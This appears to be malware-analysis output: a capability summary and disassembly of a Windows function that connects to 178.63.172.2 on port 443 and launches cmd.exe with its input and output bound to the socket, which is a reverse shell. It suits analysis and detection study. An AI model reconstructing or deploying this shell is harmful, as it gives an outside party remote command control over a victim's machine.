Function at 0x4010c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18], eax
push esi
push 0x41c380
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40110b
push str.WSAStartup_failed_n
call fcn.00401010
add esp, 4
mov eax, 1
pop esi
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0040136c
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [0x41c510], eax
cmp eax, 0xffffffff
jne 0x40114f
push str.Socket_creation_failed_n
call fcn.00401010
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
pop esi
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0040136c
mov esp, ebp
pop ebp
ret
mov eax, 2
push 0x1bb
mov word [0x41c55c], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x41c560
push str.178.63.172.2
push 2
mov word [0x41c55e], ax
call dword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x4011b5
push str.Invalid_IP_address_n
call fcn.00401010
add esp, 4
push dword [0x41c510]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
pop esi
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0040136c
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push 0x10
push 0x41c55c
push dword [0x41c510]
call dword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
je 0x401208
push str.Connection_failed_n
call fcn.00401010
add esp, 4
push dword [0x41c510]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
pop esi
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0040136c
mov esp, ebp
pop ebp
ret
mov eax, dword [0x41c510]
xorps xmm0, xmm0
push 0x41c370
mov dword [0x41c558], eax
mov dword [0x41c554], eax
mov dword [0x41c550], eax
mov eax, dword [0x41991c]
push 0x41c518
mov dword [esp + 0x14], eax
mov ax, word [0x419920]
mov word [esp + 0x18], ax
xor eax, eax
push eax
push eax
push eax
push 1
push eax
push eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x24]
movlpd qword [0x41c51c], xmm0
movlpd qword [0x41c524], xmm0
movlpd qword [0x41c52c], xmm0
movlpd qword [0x41c534], xmm0
movlpd qword [0x41c53c], xmm0
movlpd qword [0x41c548], xmm0
movq xmm0, qword [str.cmd.exe]
push eax
push 0
mov dword [0x41c518], 0x44
mov dword [0x41c544], 0x100
mov dword [esp + 0x3c], 7
mov dword [esp + 0x40], 7
movq qword [esp + 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4012e4
push str.CreateProcess_failed_n
call fcn.00401010
add esp, 4
push dword [0x41c510]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x40131c
push 0xffffffffffffffff
push dword [0x41c370]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x41c370]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [0x41c374]
call esi
push dword [0x41c510]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
mov ecx, dword [esp + 0x18]
cmp ecx, 7
jbe 0x401354
mov edx, dword [esp + 4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40134a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401366
push ecx
push edx
call fcn.0040137a
add esp, 8
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040136c
mov esp, ebp
pop ebp
ret
call fcn.00406437
int3